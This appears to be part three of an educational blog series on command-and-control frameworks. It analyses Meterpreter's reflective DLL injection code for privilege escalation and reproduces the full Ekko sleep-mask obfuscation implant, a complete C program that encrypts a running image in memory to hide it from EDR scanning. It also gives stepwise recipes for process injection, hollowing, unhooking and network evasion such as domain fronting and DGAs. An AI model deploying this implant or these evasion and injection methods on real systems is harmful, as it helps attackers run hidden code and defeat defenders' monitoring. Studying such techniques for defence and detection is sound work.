How C2 Works In-depth

Today's Table of Content [ Part 3 ]

• Third Part:

  • Entire extebsions of the Meterpreter & Code Analysis  
  • RDI in modern C2
  • Evading EDRs with modern evasive techniques
  • How is the ReflectiveLoader Function Called in a DLL
  • Hooking Techniques Employed by EDR Systems for Malware Detection

Entire extensions of the Meterpreter & Code Analysis

Let's break down how Metasploit handles essential tasks like uploading and downloading files. To understand this, we first need to look at the stdapi DLL, which is central to these operations. This DLL is loaded into memory using a reflective loader

As you observe this code also includes bringing in the reflectiveloader, a important part that allows the stdapi DLL to dynamically reflect into memory Let's simplify this process to better see how it works!

Continuing Explanation of the Reflective DLL Injection in ( tokendup.c )

In the tokendup.c file wich is responsible for elevating privileges, our primary focus privilege escalation by injecting a DLL into a system service using Reflective DLL Injection (RDI). This method allows will also the DLL to be loaded into a target process's memory without being written to disk... Let's break down how this process is handled in the code.

How it works?

• Loading the Reflective Loader:

  LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet);

  • The reflective loader is extracted from the packet. This function is embedded in the DLL and is responsible for loading the DLL into the target process's memory.

• Checking for Required System Architecture:

  if( elevate_getnativearch() != PROCESS_ARCH_X86 )
      BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. Unsupported platform", ERROR_BAD_ENVIRONMENT );

  • The function verifies that the system architecture is x86, as RDI in this context only supports 32-bit systems.

• Opening the Remote Process:

  hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId);
  if( !hProcess )
      break;

  • A handle to the target process is opened with permissions necessary to allocate memory, write to memory, and create a thread within the process.

• Allocating Memory in the Target Process:

  lpRemoteCommandLine = VirtualAllocEx(hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
  if( !lpRemoteCommandLine )
      break;

  • Memory is allocated in the remote process's address space. This memory will be used to store the command line string that will be passed to the injected DLL.

• Writing the Command Line to the Remote Process:

  if( !WriteProcessMemory(hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL) )
      break;

  • The command line (cCommandLine) is written into the allocated memory of the remote process. This command line will be used by the injected DLL.

• Injecting the DLL using RDI:

  hThread = LoadRemoteLibraryR(hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine);
  if( !hThread )
      break;

  • LoadRemoteLibraryR performs the Reflective DLL Injection. It injects the DLL (contained in lpServiceBuffer) into the target process (hProcess). The reflectiveLoader function is used to load the DLL into memory, and lpRemoteCommandLine is passed as an argument to the DLL.

• Waiting for the DLL to Execute:

  if( WaitForSingleObject(hThread, 30000) != WAIT_OBJECT_0 )
      break;

  • WaitForSingleObject waits for the injected thread (which represents the DLL’s execution) to complete. The function waits up to 30 seconds for the DLL to finish its execution within the target process.

RDI in modern C2

In an alternate C2 framework, there's a contemporary approach to reflective loading known as the Kayn Loader, and it has been integrated into frameworks like Havoc-C2.

This technique addresses certain issues found in Stephen Fewer's method. Specifically, in Stephen Fewer's Reflective DLL Injection ( RDI ), the entire memory region for DLL(s) is set to be RWX ( read, write, execute ). However, Kayn Loader takes a more precise approach by specifying memory protection for each part of the memory individually.

Sleep Mask Obfuscation

Introduction to Sleep Mask Obfuscation :-

the scenario is that an adversary wants to execute a payload without got detection The importance of Sleep Mask Obfuscation lies in its ability to intermittently modify the execution state and memory characteristics of the payload. This is achieved through a combination of Return-Oriented Programming ( ROP ) chains and cryptographic operations which serve to intermittently encrypt and decrypt the payload in memory coupled with changing the memory's protection flags to prevent static analysis tools from easily dissecting the malicious code.

• Code implant example by 5Cpider ( Link : Github - Cracked5pider - Ekko ) :

  /*
            Title   : StealthCode Execution -  Ekko's Method for Concealing Active Processes 
            Credits : Peter Winter-Smith (MDSec) / @C5pider / Austin Hudson (@SecIdiot)
  */
        
        #include <windows.h>
        #include <stdio.h>
        
        #define _CRT_RAND_S
        #include <stdlib.h>
        
        #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
        #define NtCurrentThread() (  ( HANDLE ) ( LONG_PTR ) -2 )
        #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 )
        
        typedef struct {
            DWORD	Length;
            DWORD	MaximumLength;
            PVOID	Buffer;
        } USTRING ;
        
        VOID EkkoObf( DWORD SleepTime )
        {
            CONTEXT CtxThread   = { 0 };
        
            CONTEXT RopProtRW   = { 0 };
            CONTEXT RopMemEnc   = { 0 };
            CONTEXT RopDelay    = { 0 };
            CONTEXT RopMemDec   = { 0 };
            CONTEXT RopProtRX   = { 0 };
            CONTEXT RopSetEvt   = { 0 };
        
            HANDLE  hTimerQueue = NULL;
            HANDLE  hNewTimer   = NULL;
            HANDLE  hEvent      = NULL;
            PVOID   ImageBase   = NULL;
            DWORD   ImageSize   = 0;
            DWORD   OldProtect  = 0;
        
            // Randomly Generated
            CHAR KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
          unsigned int r = 0;
          for (int i = 0; i < 16; i++) {
            rand_s(&r);
            KeyBuf[i] = (CHAR) r;
          }
          
            USTRING Key         = { 0 };
            USTRING Img         = { 0 };
        
            PVOID   NtContinue  = NULL;
            PVOID   SysFunc032  = NULL;
        
            hEvent      = CreateEventW( 0, 0, 0, 0 );
            hTimerQueue = CreateTimerQueue();
        
            NtContinue  = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" );
            SysFunc032  = GetProcAddress( LoadLibraryA( "Advapi32" ),  "SystemFunction032" );
        
            ImageBase   = GetModuleHandleA( NULL );
            ImageSize   = ( ( PIMAGE_NT_HEADERS ) ( (DWORD64) ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;
        
            Key.Buffer  = KeyBuf;
            Key.Length  = Key.MaximumLength = 16;
        
            Img.Buffer  = ImageBase;
            Img.Length  = Img.MaximumLength = ImageSize;
        
            if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
            {
                WaitForSingleObject( hEvent, 0x32 );
        
                memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
                memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
                memcpy( &RopDelay,  &CtxThread, sizeof( CONTEXT ) );
                memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
                memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
                memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );
        
                // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
                RopProtRW.Rsp  -= 8;
                RopProtRW.Rip   = VirtualProtect;
                RopProtRW.Rcx   = ImageBase;
                RopProtRW.Rdx   = ImageSize;
                RopProtRW.R8    = PAGE_READWRITE;
                RopProtRW.R9    = &OldProtect;
        
            // "RtlEncryptDecryptRC4"
                // SystemFunction032( &Key, &Img );
                RopMemEnc.Rsp  -= 8;
                RopMemEnc.Rip   = SysFunc032;
                RopMemEnc.Rcx   = &Img;
                RopMemEnc.Rdx   = &Key;
        
                // WaitForSingleObject( hTargetHdl, SleepTime );
                RopDelay.Rsp   -= 8;
                RopDelay.Rip    = WaitForSingleObject;
                RopDelay.Rcx    = NtCurrentProcess();
                RopDelay.Rdx    = SleepTime;
        
                // SystemFunction032( &Key, &Img );
                RopMemDec.Rsp  -= 8;
                RopMemDec.Rip   = SysFunc032;
                RopMemDec.Rcx   = &Img;
                RopMemDec.Rdx   = &Key;
        
                // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
                RopProtRX.Rsp  -= 8;
                RopProtRX.Rip   = VirtualProtect;
                RopProtRX.Rcx   = ImageBase;
                RopProtRX.Rdx   = ImageSize;
                RopProtRX.R8    = PAGE_EXECUTE_READWRITE;
                RopProtRX.R9    = &OldProtect;
        
                // SetEvent( hEvent );
                RopSetEvt.Rsp  -= 8;
                RopSetEvt.Rip   = SetEvent;
                RopSetEvt.Rcx   = hEvent;
        
                puts( "[INFO] Queue timers" );
        
                CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
                CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
                CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay,  300, 0, WT_EXECUTEINTIMERTHREAD );
                CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
                CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
                CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );
        
                puts( "[INFO] Wait for hEvent" );
        
                WaitForSingleObject( hEvent, INFINITE );
        
                puts( "[INFO] Finished waiting for event" );
            }
        
            DeleteTimerQueue( hTimerQueue );
        }
        
        int main(void) {
            
          puts( "[*] Ekko Sleep Obfuscation by C5pider" );
          
          printf("Module addr: %p\n", GetModuleHandle(NULL));
            do {
                // Start Sleep Obfuscation
                EkkoObf( 7 * 1000 );
            
            } while ( TRUE );
        
            return 0;
        }
        

Code Explanation:

• Encryption and Decryption Mechanism
  
   The Sleep Mask Obfuscation lies in its ability to disguise the malicious code's execution pattern. This is achieved through dynamic encryption and decryption of the code segment, using a randomly   generated cryptographic key:
  
  

  CHAR KeyBuf[16]; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; }

This segment initializes a 16-byte key with random values. The unpredictability of the key is crucial, as it ensures that the encryption pattern is unique for each execution, thereby complicating static and dynamic analysis.

• Dynamic Memory Protection
  
  To execute encrypted code, the memory region containing the code must first be made writable (to decrypt the code) and then executable (to execute the decrypted code). This is managed through calls to VirtualProtect, altering the memory protection status:
  
  

  RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE;

Initially, the memory region is set to PAGE_READWRITE to allow decryption. Post decryption, it's changed to PAGE_EXECUTE_READWRITE for execution. This manipulation of memory protections is a red flag for EDR systems, hence the need for obfuscation.

• Timed Execution and Obfuscation
  
   The obfuscation routine employs a timer-based execution strategy to further conceal the decryption and execution process:
  
  

  CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
        

By spacing out the encryption, decryption, and execution steps over time, the technique dilutes the concentration of suspicious activities, making detection more challenging for time-based heuristic analysis.

• Return-Oriented Programming ( ROP ) Chains
  
   Shortly, Return-Oriented Programming ( ROP ) chains are a sophisticated technique used in software exploitation and obfuscation to execute code sequences in a controlled manner. ROP works by finding and   executing snippets of code already present in a program's memory, known as "gadgets," to perform arbitrary operations without introducing new code. Each gadget typically ends in a ret instruction, allowing an   attacker to chain them together to execute complex sequences by carefully arranging return addresses on the stack.
  
  

  RopMemEnc.Rip = SysFunc032; // Points to SystemFunction032 (RtlEncryptDecryptRC4)

Here, SysFunc032 is indirectly invoked via an ROP gadget, effectively encrypting or decrypting the target memory region without a direct call. This indirect method of execution is less likely to trigger security mechanisms that monitor for malicious API usage.

Evading EDRs with Modern C2 Techniques

Traditional Methods Weakness

Process Injection Methods and Their Limitations — such as DLL injection, remote thread creation, and code injection using WriteProcessMemory and CreateRemoteThread—were once effective methods for executing arbitrary code within legitimate processes. However, modern Endpoint Detection and Response (EDR) systems have significantly advanced their detection capabilities. They now employ sophisticated monitoring of API calls, memory analysis, and behavioral heuristics to identify and block these conventional techniques.

Weaknesses of Traditional Methods:

• Traditional injection methods leave behind recognizable patterns and artifacts that EDRs can detect.
• EDRs hook common APIs used for injection, triggering alerts when they're called anomalously.
• In-memory code injections are identified through memory analysis techniques that detect discrepancies in code sections.

Evolution of C2 Techniques to Evade Detection

In response to the enhanced scrutiny from EDRs, modern Command and Control (C2) frameworks have evolved to adopt stealthier techniques. These methods focus on minimizing footprints, avoiding known signatures, and blending malicious activities with legitimate system operations.

Advanced Techniques Include:

• Living Off the Land Binaries (LoLBins) - Using legitimate system tools (e.g., PowerShell, MSHTA) to execute code, reducing reliance on external binaries
• In-Memory Execution 
• Indirect Syscalls - Bypassing API hooks by invoking system calls directly, avoiding user-mode API monitoring

Hooking 

Function hooking lets C2 systems sneakily watch and change system, API, and function calls in both user and kernel modes. This sneaky move lets them mess with software's normal working, avoiding EDRs' eyes.

• User Mode Hooking: Uses basic tricks like messing with the IAT ( Import Address Table ), putting code directly inline, and using trampolines. These keep the sneakiness at the app level, out of EDR sight.

• Kernel Mode Hooking: Goes deeper, using stuff like SSDT (System Service Descriptor Table) hooking, messing with the IDT ( Interrupt Descriptor Table ), and tweaking MSR ( Model Specific Registers ). This deep level trickery messes with system calls, giving more control and hiding.

Function Hooking Types (Simple Examples)

Hooking Techniques Employed by EDR Systems for Malware Detection

Hardware Breakpoints

In the game of hide and seek between C2 and EDRs, using hardware breakpoints for system calls is getting popular. But, it's risky because EDRs watch thread activities closely, which might expose C2's hidden moves.

Threadless Injection & Sleep Mask Obfuscation

• Threadless Injection helps in avoiding making new threads to lower chances of being caught by EDRs.
• Sleep Mask Obfuscation tricks with operation timing and length to stay hidden.

More Simple Evasion Techniques

Going deeper, we find easy evasion tactics. Stuff like making API calls look different and hiding shellcodes with simple encryption stand out. Adding basic function hooking to these tricks helps mess with the normal flow in both user and kernel modes.

The most used server side evasive techniques in C&C frameworks

1. Malleable C2 Profiles - frameworks allow customization of C2 communication patterns, including HTTP headers, URIs, and SSL certificates, to mimic legitimate traffic and evade detection

2. Encryption and Obfuscation - Encrypting C2 communications and using obfuscation techniques make it difficult for network monitoring tools to inspect and block malicious traffic

3. Domain Fronting - C2 traffic is routed through different domain names to hide behind trusted services like CDN providers, making it appear as legitimate traffic

4. Dynamic Domain Generation Algorithms ( DGAs ) - generates new domain names dynamically, making it challenging for defenders to block or track C2 servers effectively

5. Redundant C2 Infrastructure - ensuring operational continuity even if some servers are detected and taken down

6. JA3/S Fingerprint Manipulation - manipulate SSL/TLS client and server fingerprints to avoid matching known malicious profiles, bypassing SSL/TLS fingerprint-based detection

7. Custom Protocol Obfuscation - use protocol obfuscation techniques to mask C2 traffic, making it appear as normal network traffic and evading network-based detection systems

The most used client side ( Loader ) evasive techniques in C&C frameworks

1. Code Injection - Inject malicious code into legitimate processes to avoid detection. Let's mention some of the injection techniques !
   
   
   

   1. Classic Shellcode Injection	Allocate memory in the target process using VirtualAllocEx with appropriate permissions (e.g., PAGE_EXECUTE_READWRITE). Write the malicious shellcode into the allocated memory using WriteProcessMemory. Create a remote thread in the target process to execute the shellcode using CreateRemoteThread or execute via callback functions like SetWindowsHookEx.
   2. Hook Injection	Intercept API calls made by the target process using techniques like IAT/EAT hooking or inline hooking. Modify function pointers or overwrite instructions to redirect the intercepted API calls to the malicious code. Ensure that the malicious code is executed whenever the hooked API is called by the target process.
   3. Thread Local Storage (TLS) Callback Injection	Modify the target process's Portable Executable (PE) header to include a new TLS callback function. Embed the malicious code as the TLS callback so it executes during process or thread initialization. Ensure the modified PE is loaded by the target process, triggering the execution of the malicious TLS callback.
   4. Asynchronous Procedure Call (APC) Injection	Allocate executable memory in the target process using VirtualAllocEx. Write the malicious code into the allocated memory using WriteProcessMemory. Queue an APC to a target thread in the process using QueueUserAPC, pointing to the malicious code. Resume or alert the thread to ensure it reaches an alertable state and executes the APC.
   5. Exception Handling Hijacking Injection	Allocate memory in the target process using VirtualAllocEx for the malicious code and the modified exception handler. Write the malicious code and a custom exception handler into the allocated memory using WriteProcessMemory. Modify the target process's exception handling structures (e.g., the Structured Exception Handling chain) to point to the custom handler. Trigger an exception (e.g., divide by zero) in the target process to invoke the custom exception handler and execute the malicious code.
   6. Process Hollowing	Create a new suspended process (e.g., using CreateProcess with the CREATE_SUSPENDED flag). Unmap or hollow out the memory of the target process's main executable section using functions like ZwUnmapViewOfSection. Allocate memory in the target process for the malicious executable. Write the malicious executable into the allocated memory using WriteProcessMemory. Adjust the entry point of the process to point to the malicious code. Resume the main thread of the process to execute the malicious code.
   7. Reflective DLL Injection	Load a DLL into memory without using the Windows loader, typically from memory rather than disk. Use a reflective loader within the DLL to map the DLL into the target process's memory space. Execute the DLL's entry point or exported functions within the target process. This technique avoids touching disk and can bypass some security controls that monitor disk-based operations.
   8. Process Doppelgänging	Abuse the Windows Transactional NTFS (TxF) feature to create a malicious process. Create a transaction and overwrite a legitimate executable within the transaction. Create a process from the modified executable within the transaction. Commit or roll back the transaction, which doesn't affect the in-memory image, thus running the malicious code under the guise of a legitimate process.
   9. Kernel-Mode Driver Injection	Load a malicious kernel-mode driver into the operating system. Utilize methods like exploiting vulnerable drivers or disabling driver signature enforcement to load unsigned drivers. The malicious driver can execute code with kernel-level privileges, potentially bypassing user-mode security controls.

2. DLL Side-Loading - DLL sideloading is an attack on Windows devices in which threat actors distribute a malicious DLL together with a legitimate application that executes it.
3. Fileless Execution - Execute code directly in memory without leaving traces on disk or downloading the main loader over internet
4. API Calls Obfuscations - Hiding the API calls inside the code
5. Delayed Execution - Delay running malicious code to evade initial detection
6. Anti-Debugging Techniques - Detect and evade debugging attempts
7. Anti-Sandbox Techniques - Identify and alter behavior to evade sandbox environments
8. Unhooking User-Land Hooks - Remove hooks injected by security systems in system libraries
9. Unhooking Import Address Table ( IAT ) - Remove hooks in the Import Address Table
10. DirectSys Calls - Use direct system calls instead of APIs to bypass hooking
11. Merge Module Stomping - Combine with unhooking methods to evade detection further
12. UUID Obfuscation - Obfuscate shellcode to evade signature-based detection
13. Domain Fronting with Random Traffic Profiles - Use domain fronting with randomized traffic to evade network detection
14. Patching Process Event Tracing - Prevent logging by security systems
15. Spoofed Fake Certificates - Use fake certificates to appear legitimate
16. Code Metamorphism and Noise Insertion - Constantly change code structure and behavior to evade detection

 The End

References & Resources:

• Meterpreter Internals - Presented By ( OJ Reeves ): https://www.youtube.com/watch?v=ZKznMBWUQ_c&t=716s
• Reflective DLL Injection v1.0 By ( Stephen Fewer ): https://www.dc414.org/wp-content/uploads/2011/01/242.pdf
• Developing custom shellcode in x64 using pure assembly: https://wajid-nawazish.medium.com/developing-custom-shellcode-in-x64-57172a885d77
• Command & Control ( C2 ) Explained ( Dan Duran ): https://www.youtube.com/watch?v=gSeHs43E0qs

Disclaimer

- The content provided in this blog is for educational purposes only. It explores various cybersecurity techniques, tools, and concepts. Readers are encouraged to use this information responsibly and ethically. Remember that unauthorized or malicious actions are strictly discouraged.

Thanks for reading!